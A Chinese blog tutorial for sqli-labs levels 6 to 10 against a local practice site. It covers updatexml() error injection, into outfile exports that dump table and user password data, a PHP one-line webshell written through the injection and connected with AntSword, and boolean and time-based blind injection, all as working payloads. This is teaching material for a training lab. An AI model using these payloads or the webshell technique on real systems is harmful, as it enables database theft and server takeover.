我们首先进入第六关
我们输入参数id=1 ,查看页面回显情况:
可以看到和第五关一样并没有显示位,那么我们首先想到的注入方法就是报错注入,经过测试发现这一关的注入点是双引号(测试方法前面几关详细讲过,这里不在赘述),我们接下来测试当前数据库有多少字段,输入测试语句:
?id=1' order by x --+
x根据二分法自己去猜解即可(第一篇博客详细讲解过),最终猜解到的字段数为3,接下来我们就可以进行注入了 ,当然这里也可以使用双查询注入。这里我讲解一个新的报错方法,updatexml()函数报错注入。
函数简介:updatexml()函数是对xml文档进行操作的函数。updatexml()从英文字面上来看是更新的意思。即updatexml()是更新xml文档的函数。
基础语法:
updatexml(目标xml文档,xml路径,更新的内容)
第一个参数:使用String格式,为XML文档对象的名称
第二个参数: XPath_string (Xpath格式的字符串),Xpath语法学习链接:XPath 语法 | 菜鸟教程 (runoob.com)
第三个参数: 使用String格式,替换查找到的符合条件的数据。
函数作用:改变xml文档中符合条件的节点的值。
我们在使用该函数进行报错的时候一般会去修改其第二个参数,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。如果路径中(第二个参数)存在特殊符号 比如'~',就会报错 , 同时显示路径参数的内容,如果路径参数中包含函数 , 那么函数将会被执行 , 并将执行结果展示在报错内容中。
接下来我们就进行updatexml()函数的报错注入。
输入语句:
?id=1" and updatexml(1,concat(0x7e,(select database())),3) --+
这里0x7e代表字符 '~' ,我们查看页面回显:
可以看到由于在xpath路径中加入了非法字符~,所以发生了报错,报错信息中执行了查询语句select database() 并且将执行结果显示到了报错信息中,这就是我们要的效果,也是这个函数的特点,但是这种报错方式也有缺点,那就是能够显示的字符长度有限制,报错信息中只能显示32个字符,所以后续爆破要用到limit函数。
输入语句:
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),3) --+
可以看到报错信息中含有第一个表的名字,我们想要获取其他的只需要修改limit语句后面的语句就可以,例如查看第二个就输入语句limit 1,1,第三个输入语句limit 2,1,以此类推就可以。
输入语句:
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)),3) --+
页面回显如下:
输入语句:
?id=1" and updatexml(1,concat(0x7e,(select id from emails limit 0,1)),3) --+
页面回显如下:
到此updatexml()函数的报错注入就讲解完成了。
首先我们进入第七关并且输入参数id=1查看页面回显情况:
可以看到页面让我们使用select ... into outfile语句进行注入操作,我们这里经过测试发现注入点是')),接下来我们就要用select ... into outfile语句进行注入了,但是在讲解该语句之前我先讲解一下使用select ... into outfile语句的前提条件:
1. Mysql数据库中secure_file_priv参数的设置要允许对目录进行导入导出操作。
2. Mysql对路径有读取的权限。
在Mysql中secure_file_priv
这个参数被用于限制导入和导出的数据目录,比如 load data 和 select ... into outfile 语句,以及 loat_file()函数。这些操作限制了哪些用户拥有文件操作权限。
secure_file_priv
设置选项:
NULL
,MySQL 服务器禁止导入与导出功能。 MySQL 服务器在启动时,会检查 secure_file_priv
变量值,如果值不安全会在错误日志中写一个 WARNING 级别的日志。以下情况属于不安全的设置:
--datadir
目录或其子目录查看secure-file-priv参数的值的语句:
show global variables like '%secure%';
当前我的Mysql中 secure-file-priv 参数情况:
可以看到我的 secure-file-priv 参数没有具体的值,所以表示不对Mysql 的导入、导出做限制。
一般Mysql都会默认 secure-file-priv 参数的值为NULL,我们要自己手动设置该参数的值:找到我们Mysql的下载目录,找到my.ini文件,打开之后找到 secure_file_priv=" " 这个语句,将双引号中的NULL改为空就可以了,或者可以改成你自己想要导出的目录,如果没有这个语句的话直接在[mysqld] 这个目录下自己添加这条语句就可以了,改了里面的参数之后重启Mysql就可以了
select ... into outfile语句讲解:MySQL 导出数据 | 菜鸟教程 (runoob.com)
我们在进行读取文件的时候必须拥有这个权限,如果报错信息中提示权限类型的问题的话一般是当前用户的权限不足,我们可以切换到root用户去执行语句,我们直接执行su语句切换到root用户就可以,这样就拥有了读取文件的权限。
测试权限语句:
?id=1')) and (select count(*) from mysql.user)>0--+
页面正常回显说明具有文件读取权限,否则说明权限不够。
首先我们输入语句:
?id=1')) union select 1,database(),@@basedir into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\text.txt' --+
这里我将我要爆破的当前数据库的名字以及安装路径导出到路径:D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7中的text.txt文本文件中,我们看一下该文本文件中的数据:
可以看到该文本文件中写入了我们要的信息,那么爆破就完成了,如果写入前没有创建文件也没有事情,该语句会自动创建文件。
上述路径中使用 '\\' 的原因是 '\' 可能和其他字符组合起来转义成其他字符,所以我们这里用双斜杠来转义 '\' 。并且这里并没有字符长度限制,所以可以不使用 limit 语句进行长度的限制。
输入语句:
?id=1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\name.txt' --+
这里我将表名写到name.txt文本文件中,我们执行语句后文本文件中的内容:
可以看到已经将所有表名写入到该文件中。
输入语句:
?id=1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='user') into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\column_name.txt' --+
这里我将表USER中的列名写入到文本文件column_name中,我们执行语句后文本文件中的内容:
可以看到已经将表USER中的列名写入到了文本文件column_name.txt中。
输入语句:
?id=1')) union select 1,2,(select group_concat(0x7e,id,0x7e,username,0x7e,password) from users) into outfile 'D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7\\Value_File.txt' --+
我这里将字段值写入到了 文本文件Value_File中,我们查看执行语句后文本文件中的内容:
可以看到已经将字段值写入到了文本文件Value_File中。
这里我再借着第七关简单讲一下一句话木马 。
在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限。
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作命令。webshell主要用于网站和服务器管理,由于其便利性和功能强大,被特别修改后的webshell也被部分人当作网站后门工具使用。
一句话木马就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。一句话木马还可以与sql注入漏洞结合使用,利用回显注入,将一句话木马写入网页的根目录。
一句话木马注入条件:
1. 木马成功上传,未被拦截
2. 攻击者知道木马的路径
3. 攻击者上传的木马文件可以被web服务器执行
一句话木马例子:
这就是一个简单的一句话木马,稍微有点经验或者懂php语句的话,就可以看出密码就是aaa,并且通过POST进行提交数据。
接下来我去解析一下这段代码的含义:
1. php语句要写入到 中,这样网页才会识别这是一个php语句,然后网页再进一步解析该语句。
2. @的意思是即使执行错误,也不报错,继续执行。
3. $_POST是php语句中的超全局变量,$_POST['aaa'] 的意思就是aaa这个变量,用post的方法接收。(传输数据的两种方法:GET、POST。POST是在消息体存放数据,GET是在消息头的URL路径里存放数据)
4. eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
5. 综上所述,这句代码的意思就是用post方法接收变量aaa,把变量aaa里面的字符串当做php代码来执行。所以我们想要执行什么语句我们直接将其放入到变量aaa,用POST传输给一句话木马就可以。
下面我去进行第七关的一句话木马注入:
输入语句:
?id=1')) union select 1,"",3 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\wooden.php" --+
之后我们去查看路径中的内容会发现多了一个wooden.php的php文件:
这就说明我们已经写入成功了。
添加数据时候每个参数的填写方法:
URL地址:指的是目标文件的URL地址,例如:http://127.0.0.1/uploads/poc.php。
连接密码:代码参数值,例如 中的“X”值就是连接密码。
网站备注:编码设置,连接类型根据具体情况选择即可。
编码器:PHP脚本环境下建议选择chr。
添加步骤:
1. 右键点击添加数据
2. 添加目标信息
3. 测试连接和添加,测试连接是否可以连接到目标网站,然后点击添加即可
写入成功后进入中国蚁剑添加信息并且查看文件管理:
可以看到已经连接成功了。
至此第七关就通关了,如果大家不理解php语法或者一句话木马也没有事情,只使用导入导出函数也可以实现数据爆破,当然有兴趣的同学可以去自行学习一下相关知识。
前言:这种方法很麻烦,如果纯手工注入的话会耗费很多的人力和时间,但是如果有Python经验的同学的话可以使用Python写一个脚本,利用 seleium 交互,这样会很快的判断出来,当然我后续也会更新与Python相关的知识。
首先我们进入第八关并且输入参数测试:
可以看到和前几关一样,页面是不会给我们显示有用信息的,这种情况首选考虑报错注入,其次使用盲注,而这一关我就会为大家讲解盲注,因为大家会发现这一关使用报错注入页面并不会给我们反馈报错信息,也就是不能使用报错注入。
首先寻找注入点,经过测试注入点为单引号,接下来我解释一下为什么不能使用报错注入的方爆破信息。
我们知道报错注入的原理是通过构造语句报错让报错信息中包含我们想爆破的数据并且回显到页面上,也就是说报错注入使用的前提是页面会回显报错信息。我们接下来去创造一个报错信息,输入语句:
?id=1' order by 4 --+
经过测试我们发现该数据库中字段数为3,而我输入的语句是让数据库按照第四列的数据进行排序,但是数据库中并没有第四列,那么必定会报错”不存在第四列“,那么我们看一下实际的页面回显情况:
可以看到页面并没有将报错信息显示出来,我们再输入正确的语句进行测试:
?id=1' order by 3 --+
可以看到页面回显正常,这也就是说:当我们输入的语句正确,页面正常回显;当我们输入的语句错误,页面并不会给我们显示报错信息。显然我们不能使用报错注入了。
什么是盲注:
首先盲注是SQL注入的一种,盲注是在SQL注入的基础上,根据SQL注入的回显不同而定义的。也就是在服务器或者页面没有错误回显的时候完成的注入攻击。其实也就是猜解,输入语句猜解数据库名字、表名等等。
盲注分类:
布尔盲注:布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true
、 false
使web页面返回true或者false,从而达到注入的目的来获取信息。
时间盲注:适用于页面不会随着输入语句的不同而发生变化,只会回显一种界面。利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
函数名 | 含义以及学习链接 |
length(数据库名/表名等) | 返回长度,可以用于猜解数据库等名字的长度SQL LEN() 函数 | 菜鸟教程 (runoob.com) |
left(str,num)与right(str,num) | 对字符串从str左/右数起,返回num个字符 MySQL LEFT() 函数 (w3schools.cn) |
substr(database(),x,y) | 截取字符串的函数,从x开始截取,一直截取到y MySQL SUBSTR() 函数 (w3schools.cn) |
ascii() | 最左边字符返回字符串的数值 MySQL ASCII() 函数 (w3schools.cn) |
sleep(int) | 代表过int时间后响应 MySQL中的sleep函数介绍 - 南哥的天下 - 博客园 (cnblogs.com) |
if(expr1,expr2,expr3) | expr1是True,则返回expr2,否则返回expr3 MySQL IF() 函数 (w3schools.cn) |
a~z | 97~122 |
A~Z | 65~90 |
0~9 | 48~57 |
~ | 0x7e |
^ | 0x5e |
输入语句:
?id=1' and length(database())>10 --+
这里我采用二分法猜解,先猜其长度是否大于10,若页面回显正常,说明大于十,那就猜长度是不是大于15,直到猜到页面回显不正常,说明小于某值;如果页面回显不正常,说明字段长度小于10,那就猜是不是大于5,以此类推,最终就可以猜解到数据库名的长度了。
页面回显:
可以看到页面回显不正常,说明长度小于10,我们在测试5:
?id=1' and length(database())>5 --+
可以看到页面回显正常,说明字符段的长度介于5~10之间,这样我们就缩小了搜索的范围,之后我们一个一个猜就可以 ,最终我们猜解到数据库名字长度为8位。
输入语句猜解第一个字符:
?id=1' and left(database(),1)>'m' --+
这里我也采用二分法进行判断,该语句的意思是返回数据库名字的第一个字符并且判断其和字符 'm' 比较哪个的ASCII码更大。如果页面回显正常说明该数据库的第一个字符位于字符 m 后,我们在剩下的字符中继续使用二分法缩小搜索范围直到找到那个字符就可以;如果页面回显不正常说明该数据库的第一个字符位于字符 'm' 之前,同理使用二分法找就可以。
可以看到页面回显正常,那说明该字符位于字符 'm' 之后,最终经过我们查找可以确定第一个字符是 's' 。
之后查找第二个字符,输入语句:
?id=1' and left(database(),2)>'sm' --+
这里一定要注意函数 left() 函数的用法,大于号后面一定要把之前猜解出来的第一个字符写上,如果不写是查不出来的,因为语句中 2 的意思是取数据库名字的前两位。猜解步骤和猜解第一个字符的方法一样,这里不赘述。猜解第3个就把2换成3,后面把已经猜到的两位字符写上就可以。
最终猜出来数据库名为:'security'。
输入语句:
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>10 --+
因为一次只能猜解一个表名的长度,所以需要用 limit 语句进行限制取值。 其余操作和猜解数据库名长度一样,只不过需要替换 limit 语句后的值从而选取不同的表名而已,这里不在赘述。
最终猜解到第一个表名的长度为6,其余表名长度这里不再猜解。
输入语句猜解第一个字符:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 --+
这里我使用了 ascii 函数,因为该函数只能返回字符串的第一个字符,所以我里面套用了字符串截取函数 substr 每次截取一个字符。当然也可以用 left 函数进行猜解。ascii() 函数猜解原理和 left 的猜解原理一样,只不过转换成了ASCII码进行猜解。同样是根据页面是否正常回显来进行判断,这里我不在赘述判断方法。最终猜解到第一个字符为 'e' 。
输入语句进行猜解第二个字符:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))>97 --+
可以看到我们只需要修改 substr 中的参数就可以一个一个去猜解每一个字符,这里第二个字符经过猜解为 'm' 。
后续猜一猜方法一样就不赘述了,最终结果为 'emails' 。
输入语句:
?id=1' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>10 --+
具体猜解方法看上文,这里不在赘述。其实猜解的大体框架是不变的,就是那几个函数的应用,只不过跟随我们猜解的对象不同我们把函数里面嵌套的语句换一下就可以了。
最终猜到第一列的列名长度为2。
输入语句猜解第一个字符:
?id=1' and left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)>'m' --+
猜解第一个字符我使用的方法是 left() 函数的猜解方法。具体判断方法不再赘述。
输入语句猜解第二个字符:
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1))>97 --+
查询第二个字符的时候我用的是 ascii() 函数进行猜解,具体猜解步骤不再赘述。
最终查询到该列名为 'id' 。
输入语句猜解第一个字段值的长度:
?id=1' and length((select id from emails limit 0,1))>10 --+
经过猜解,第一个字段值长度为1 。
输入语句猜解第一个字段值:
?id=1' ascii((select id from emails limit 0,1))>0 --+
根据常识 'id' 字段值一般都是整数,所以这里我用 ascii() 函数进行猜解释,如果字段值为字符,一般使用 left() 函数进行猜解。
最终猜解到第一个字段值为 '1' 。
至此,布尔盲注就讲解完了,我们可以看到盲注实际上是很耗费时间和人力的,因为每一个数据的长度、具体字符等等都需要我们去猜解。其实也就是试错,把所有的可能试验一次,总有一个对的,可以想象如果字段名很长的话得猜到什么时候。其实学这部分内容的时候可以学一下Python,真的很方便,写入代码之后页面会自动按照脚本执行语句,会节省很多时间,我之后会出关于爬虫的课程,大家有兴趣可以关注我哦。
首先我们进入第九关并且输入参数进行测试:
可以看到页面没有给我们回显出内容,老方法:第一想报错注入,第二想盲注。这一关测试注入点的方法与前几关有些许不同,我来讲解一下。
在进行测验之前我们需要了解 if 语句的用法以及 sleep() 函数的用法:
if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。也可以理解为如果expr为True,则执行expr2,否则执行expr3。
sleep(int):代表过int时间后响应
我们输入测试语句:
?id=1' and sleep(2) --+
这段代码的含义是让网页停止两秒后响应,如果单引号是注入点,那么该页面就会停止两秒后再响应,如果双引号不是注入点,那么网页就会正常响应。
查看网页响应时间的方法:再该页面上右键找到检查,进入之后找到网络,如下图:
之后刷新页面观察名称和你输入的注入代码相同的那行值的时间变化,那个就是你当前页面的响应时间,可以看到上图中我当前页面的响应时间为3.06s,因为我将 sleep()函数 设置为了延迟1s 响应,我现在设置为延迟 2s 响应,按道理来说设置为 2s 之后响应时间应该变为4.06,我们看实际响应时间:
可以看到实际响应时间为 4.10s 与我们的预想偏差了几秒,这是不影响的,因为网络等原因总会有偏差,理论上只要偏差不大于 1s 就可以。
综上所述,第九关的注入点为单引号。
我们知道注入点之后就判断应该使用哪种注入方法进行爆破数据,我们首先看能否使用报错注入:
输入测试语句:
?id=1' order by 4 --+
经过判断该数据库的字段数为3,我这里根据第四列排序,肯定是错的。
可以看到页面并没有回显报错信息而且页面也正常显示,所以不能使用报错注入。
接下来测试能否使用布尔盲注,使用布尔盲注的前提是页面必须在面对不同的语句的时候有不同的回显。也就是语句正确回显正常,语句错误回显不正常。其实上面的语句就已经证实不能使用布尔盲注了,因为很显然我们输入的语句是错误的,但是页面却回显正常了,所以不能使用布尔盲注。
这里我使用时间盲注。
输入语句:
?id=1' and if(length(database())>10,sleep(2),0) --+
这段代码的含义是:如果当前数据库名长度大于10,则页面延迟 2s 后响应,否则立即响应,之后我们就可以通过查看页面响应时间来判断长度了。这里不在赘述。
最终猜解到数据库名长度:8。
输入语句猜解当前数据库的第一个字符:
?id=1' and if((left(database(),1)>'m'),sleep(2),0) --+
这段代码含义:如果当前数据库名字的第一个字符的ASCII值大于字符 'm' 的ASCII值,则页面延迟 2s 后响应,否则立即响应。当然也可以使用 ascii() 函数进行猜解。
使用 ascii() 函数猜解当前数据库名的第二个字符:
?id=1' and if((ascii(substr(database(),2,1))>97),sleep(2),0) --+
输入语句:
?id=1' and if((length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>10),sleep(2),0) --+
这段代码含义上面已经解释过了这里不在赘述,最终猜解到长度为6。
输入语句猜解第一个表名的第一个字符:
?id=1' and if((left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'m'),sleep(2),0) --+
最终猜解得出表名为 'emails'。
输入猜解第一个表的第一个列名的长度的语句:
?id=1' and if((length(select column_name from information_schema.columns where table_name='emails' limit 0,1)>10),sleep(2),0) --+
经过测试长度为2。
输入猜解第一个列名的第一个字符的语句:
?id=1' and if((left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)>'m'),sleep(2),0) --+
这里使用的是 left() 函数进行猜解。
输入猜解第一个列名的第二个字符的语句:
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1))>97),sleep(2),0) --+
这里我使用的是 ascii() 函数进行猜解。
最终猜解出来的列名为 'id' 。
输入语句:
?id=1' and if((length(select id from emails limit 0,1)>10),sleep(2),0) --+
最终猜解可得长度为1。
输入猜解第一个字符的语句:
?id=1' and if((left((select id from emails limit 0,1),1)>0),sleep(2),0) --+
也可以使用 ascii() 函数进行猜解,这里不在赘述。
最终猜解到字段值为 '1' 。
时间盲注适用情况:
1. 页面回显不会显示报错信息。
2. 页面回显只有一种情况,不会随着语句输入的正确与否而变化。
时间盲注就是结合 if 语句,利用了页面的响应时间去判断我们猜解的对不对。
除了注入点和第九关不一样,其余操作都和第九关一样,这里就不具体讲解如何通关了。第十关注入点为双引号。
6~10关我主要讲解了 updatexml() 函数的报错注入、导出文件字符型注入、布尔盲注、时间盲注、中国蚁剑的简单使用、一句话木马的注入。重点理解导出文件字符型注入以及盲注的方法即可,后续我还会更新一些报错注入,把常见的报错注入总结一下。
如有错误,请及时私聊指正,谢谢观看!